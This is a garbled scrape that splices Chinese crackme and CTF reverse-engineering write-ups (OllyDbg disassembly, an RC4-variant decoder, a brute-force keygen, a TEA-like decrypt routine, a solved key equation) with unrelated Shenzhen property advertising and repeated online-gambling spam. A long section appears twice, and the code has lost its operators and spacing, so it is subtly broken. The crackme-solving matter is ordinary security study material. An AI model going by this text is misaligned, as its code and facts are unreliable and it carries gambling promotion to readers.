2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198,而这个关键的函数就是SetTokenInformation,这个函数的解释如下:也就是说,要改变token的信息,必须有相应的权限,那SeTcbPrivilege权限应该就是要改变sessionID必须具备的权限了,看下SeTcbPrivilege权限的描述:大意是说,允许程序像用户一样认证和获得资源的访问权限。在编辑框Edit控件的消息响应函数Hi_WM_COMMAND_sub_401570中通过每次输入是,都会调用消息响应函数,函数通过UpdateData(True)将当前输入的key文本更新赋值给Edit控件关联的CString成员变量,从下属代码中,可见edit控件关联成员变量在控件的0x60偏移处,要求输入的key文本长度大于0x0B,如果是正常直接输入,在输入第0x0B个字符时,就会响应校验,最大输入是0x0B;但这里的bug是,如果是复制粘贴的,其长度就可以任意,如"AAAAAAAAAAAAAAAA".text::0040158Fmov[esp+8Ch+var_74_thisPtr],:00401593callCWnd::UpdateData(int).text:00401598leaecx,[esp+88h+var_7C].text:0040159CcallCString::CString(void).text:004015A1moveax,[esi+60h].text:004015A4leaedx,[esi+60h].text:004015A7mov[esp+88h+var_4],:004015B2movebp,[eax-8].text:004015B5cmpebp,0Bh核心逻辑是两个迭代异或解密a.用用户输入的key的每一个字节异或上encKeyA=Hi_encKeyA_byte_403020,的每一个字节,解密出decKeyAb.用"a."得到的decKeyA的每一个字节有符号乘0x5E后在异或上加密代码Hi_encChipCode_sub_401540的每一个字节,解密出代码最后调用解密的代码显示成功信息。根据以上描述,如果说是现有的商品房产权年限上是可以通过补交地价来实现的:1.商品房应该当按有偿使用土地的原则延长土地使用年期1.基准地价是要进行年期修正的,也就是相当于一套评估体系,每一年的地价都是有修正调整的。,真钱娱乐 (cpu:i7-6700k)最终结果是su1986剩下的工作就是写代码验证而已了(其实以上是研究的思维过程,实际中最快的方法应该是看HideOD中的UnhandleExceptionFilter得到提示)。(cpu:i7-6700k)最终结果是su1986 户型分布如下图:由于预计开盘时间在年后,样板间尚未装修,本少深入施工现场,对该楼王单位进行户型解读,带您提前了解楼王的户型布局,做到心中有数。龙光却因举牌慢了1秒而痛失地块……这些年来,中海在深圳拿地一直较少,近期一块地还是在2015年2月份拿下103-0010宗地(鹿丹村综合改造工程重建项目用地),12月份拿下尖岗山地块。又是一道pwn题,需要利用程序的漏洞来getshell然后读取存放在远程服务器上的flag文件。rc4变形intrc4(char*pSecret,intSecretLen,char*pOut){intia;unsignedchari=0,j=0,t;unsignedchars[256];unsignedchark[256];for(ia=0;ia=255;ia++,i++)s[ia]=i;for(ia=0;ia=255;ia++)k[ia]=((unsignedchar*)pSecret)[ia%SecretLen];for(ia=i=j=0;ia=255;ia++,i++){j=(j+s[i]+k[i])%256;t=s[i];s[i]=s[j];s[j]=t;}unsignedchardata[128]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};for(intl=0;l128;l++){data[l]^=s[l]+s[256-l-1];}//以下部分为验证阶段使用unsignedintres=0;for(intl=0;l128;l++){res+=data[l];}if(res==0x2979){printf(pSecret);getchar();}return0;}中央一号文件瞄准弄虚作假、搞数字脱贫问题中央一号文件把2018年作为脱贫攻坚作风建设年,集中力量解决突出作风问题。    深外大族创客空间功能强大、设备新锐,主要分为游戏及编程体验区、Lego搭建区、动画工作室、VEX机器人实验室、电子模块实验室、创新设计工作室等六大模块,激发学生对科学、技术、工程、数学、艺术等的兴趣,鼓励他们设计、实验、建设和发明,培养勇于创新、自己动手、主动学习的精神。、3栋距离十字路口较近无优秀景观但视野宽度还算可以。其二,尽快修好道路。坪山区地铁轨道工程14号线、16号线全面开工,横跨深圳6区、全长53公里的宝坪大道,及南坪快速三期等重大交通设施,将坪山区与深圳各主要城区紧密联系在一起。龙光·玖钻二期新品,约38-64㎡办公产品、112-133㎡商务公寓持续销售中!龙光·玖钻智美生活馆诚邀品鉴,恭候君临!,根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。中泰集团的成功,在于对品质的坚守,无论是做产品,还是做服务,一定要把品质放在第一位,未来才有市场。倒数第三个参数pCreateProcessContext的定义请参照此系列的这篇文章。,还是比较给力,memset这些都失败出来了,的就不行。中央一号文件为城里人去农村买房划红线中央一号文件提出,适度放活宅基地和农民房屋使用权。privatestaticuintConvertBytesToUInt(byte[]input,intpos){//=(uint)(input[pos])+(uint)(input[pos+1]0x8)+(uint)(input[pos+2]0x10)+(uint)(input[pos+3]0x18);returnnum;}privatestaticbyte[]ConvertUIntToBytes(uintx){byte[]dst=newbyte[4];for(inti=0;i4;i++){dst[i]=(byte)(x0xff);x=x8;}returndst;}privatestaticbyte[]CombineBytes(byte[]bytes1,byte[]bytes2){byte[]dst=newbyte[+];(bytes1,0,dst,0,);(bytes2,0,dst,,);returndst;}privatestaticuint[]Code(uint[]v,uint[]k){uintnum=v[0];//0x54d6f3eauintnum2=v[1];//0x1e865afcuintnum3=0;uintnum4=(((double)(((,)-)*(,))));uintnum5=0x20;while(num5--0){num+=((num24)^((num25)+num2))^(num3+k[(ushort)(num33)]);num3+=num4;num2+=((num4)^((num5)+num))^(num3+k[(ushort)((num311)3)]);}returnnewuint[]{num,num2};//0xbfd3b3350xcc918c5e}publicstaticbyte[]Encrypt(byte[]input){uint[]k=newuint[]{0x54d6f3ea,0x15ac3f5d,0x1e865afc,0x6583a5b1};byte[]buffer=newbyte[0];intlength=;byte[]buffer2=newbyte[8];intnum2=7-(length%8);buffer2[0]=(byte)num2;for(inti=0;inum2;i++){buffer2[i+1]=(byte)((200+num2)-i);}for(intj=0;j(7-num2);j++){buffer2[(j+num2)+1]=input[j];}uint[]v=newuint[]{ConvertBytesToUInt(buffer2,0),ConvertBytesToUInt(buffer2,4)};v[0]^=k[0];v[1]^=k[2];v=Code(v,k);buffer=CombineBytes(CombineBytes(buffer,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));for(intm=7-num2;mlength;m+=8){v[0]^=ConvertBytesToUInt(input,m);v[1]^=ConvertBytesToUInt(input,m+4);v=Code(v,k);buffer=CombineBytes(CombineBytes(buffer,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));}returnbuffer;}privatestaticuint[]InvCode(uint[]v,uint[]k){uintnum=v[0];uintnum2=v[1];uintnum3=0xc6ef3720;uintnum4=(((double)(((,)-)*(,))));uintnum5=0x20;while(num5--0){num2-=((num4)^((num5)+num))^(num3+k[(ushort)((num311)3)]);num3-=num4;num-=((num24)^((num25)+num2))^(num3+k[(ushort)(num33)]);}returnnewuint[]{num,num2};}intrNum=0x1be8;byte[]rData=newbyte[rNum];byte[]wData=newbyte[0];FileStreamrFile=newFileStream(,);FileStreamwFile=newFileStream(,);(rData,0,rNum);uintx0=0,x1=0,x00=0,x11=0;uint[]k=newuint[]{0x54d6f3ea,0x15ac3f5d,0x1e865afc,0x6583a5b1};for(inti=0;irNum;i=i+8){uint[]v=newuint[]{ConvertBytesToUInt(rData,i),ConvertBytesToUInt(rData,i+4)};x00=v[0];x11=v[1];v=InvCode(v,k);if(i==0){v[0]^=k[0];v[1]^=k[2];}v[0]^=x0;v[1]^=x1;x0=x00;x1=x11;wData=CombineBytes(CombineBytes(wData,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));}for(inti=0;irNum-7;i++){wData[i]=wData[i+7];}(wData,0,rNum-7);上传的附件:(4)if(_mbsicmp(v8,a888aeda4ab))截取的字符串与888aeda4ab比较。 这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535天曜小区2015年收楼入住,至今出入仍只有“半边路”。,Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198  即:限成交地价、竞成交地价和人才住房面积。1月27日,坪山区举办“龙聚坪山·欢乐嘉年华”活动,搭建青年人才交流互动平台,把在坪山奋斗的青年才俊聚到了一起,畅聊生活、工作和未来。。

这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535同时,雅居乐民森迪茵湖小镇首批组团规划有幼儿园和小学,全龄段教育配套雏形已现。,所以,为了想要走后面的流程,这里不能让他跳走,跟进跳转前0x75807746的看一下:原来,在这里系统调用了ZwQueryInformationProcess函数,然后根据它的返回值来判断是否需要跳转。在已有的官方对于产权的解答下不妨与大家一起做一个梳理。。线上赌博。.text:0040112B9090909090db5dup(90h).text:0040113000000000000000000000+db12000hdup(0).text:00413130C3retn这里明显是故意填充的数据,为了能用符合要求的输入来溢出,使得流程转到这个地址,但是看后面的代码乱遭遭的,猜测是加了混淆,上OD开始溢出跟混淆。,然后用loadpe修改驱动的校验和。    项目分三期开发,其中一二期总建面约126万平,集海幕名邸、服务式公寓、300m超甲级写字楼、精品酒店、16万平ShoppingMall&主题商业街区等多元复合业态为一体。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。。 一、三块“只租不售”地块  三宗地均建设全年期自持租赁住房,项目建成后,宗地内租赁住房和商业用房在70年出让年期内自持。最终须配建的人才住房面积由前述规定配建面积与竞得人所竞面积加总得出。盛典之上,一支《我们的故事》视频揭开了地产人背后的酸甜苦辣,也向大家展示了中泰人为践行诺言,使命必达的精神。  5、1月福田区成交41套,环比减少%,为本月减幅最大区。真钱娱乐,心怀感恩,再上征程  一个企业的成功,是拥有一群甘愿一路追随,并能始终坚持奋斗,创造佳绩的员工。为模式,字节独立加密。0x00认清假验证,找到真入口刚拿到题直接IDA走起,发现逻辑很清晰,获取输入,然后计算两个方程,都过了就成功。0x01剥去混淆,得到答案输入aaaaaaaaaaaa11A跳到00413131处,然后开启run追踪人肉过滤掉混淆后的代码如下:addesp,-0x10;回到输入栈头xoreax,eaxmovdwordptrds:[0x41B034],eaxpopeax;取输入前4字节movecx,eaxpopeax;取中4字节movebx,eaxpopeax;取后4字节movedx,eax;ecx,ebx,edx;开始计算moveax,ecxsubeax,ebxshleax,0x2addeax,ecxaddeax,edxsubeax,0xEAF917E2;不相等,提示错误并退出;整理4*(x-y)+x+z=0xEAF917E2;化简5x-4y+z=0xEAF917E2;相等计算第二轮addeax,ecxsubeax,ebxmovebx,eax;y=x-yshleax,1addeax,ebxaddeax,ecxmovecx,eax;x=3*(x-y)+xaddeax,edxsubeax,0xE8F508C8;不相等,提示错误并退出;整理3*(x-y)+x+z=0xE8F508C8;化简4x-3y+z=0xE8F508C8;相等计算第三轮moveax,ecxsubeax,edxsubeax,0xC0A3C68;整理3*(x-y)+x-z=0xC0A3C68;化简4x-3y-z=0xC0A3C68;相等计算第四轮popeaxxoreax,0x8101movedi,eaxxoreax,eaxpopeaxpusheaxmovedi,eaxpush0x4E000969popeaxxoreax,edxxoreax,0x10A3Exoreax,ebxxoreax,0x22511E14xoreax,0x61642Dxoreax,dwordptrds:[0x41B034]jmpeax分析得到3个方程5x-4y+z=0xEAF917E24x-3y+z=0xE8F508C84x-3y-z=0xC0A3C68解得:x=0x7473754A,y=0x726F6630,z=0x6E756630由于内存中是小端模式,所以应该是4A75737430666F723066756E转为ASCII对应的字符Just0for0fun综上,最终的解为:Just0for0fun11A 